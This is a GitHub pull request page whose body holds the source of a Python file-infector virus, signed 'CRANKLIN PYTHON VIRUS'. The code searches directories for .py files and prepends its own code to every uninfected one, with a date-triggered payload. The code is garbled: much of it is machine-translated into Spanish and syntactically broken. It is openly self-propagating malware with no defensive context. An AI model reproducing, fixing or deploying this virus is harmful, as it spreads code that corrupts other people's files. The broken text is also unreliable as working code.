Skip to content

Conversation

kiiqhee
Copy link

@kiiqhee kiiqhee commented Mar 17, 2013

! # / Usr / bin / python
import os
import datetime
FIRMA = "CRANKLIN PYTHON VIRUS"
def búsqueda (path):
filestoinfect = []
filelist = os.listdir (path)
para fname en filelist:
si os.path.isdir (path + "/" fname +):
filestoinfect.extend (búsqueda (path + "/" + fname))
elif fname [-3:] == "py".:
infección = False
for linea in open (ruta + "/" fname +) :
Si la firma en línea:
infectado = True
descanso
si se infecta == False:
filestoinfect.append (ruta + "/" + fname)
volver filestoinfect
def infectar (filestoinfect):
virus = open (os.path.abspath (FILE))
= virusstring ""
for i, entrada de línea enumerate (virus):
si i> = 0 i <39:
virusstring + = línea
virus.close
para fname en filestoinfect:
f = open (fname)
temp = f.read ()
f.close ()
f = open (fname, "w")
f.write (virusstring + temp)
f.close ()
def bomba ():
si datetime.datetime.now () == 1 mes y datetime.datetime.now (. .) día == 25:
print "! CRANKLIN FELIZ CUMPLEAÑOS"
filestoinfect = search (os.path.abspath (""))
infectar (filestoinfect)
bomba ()

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant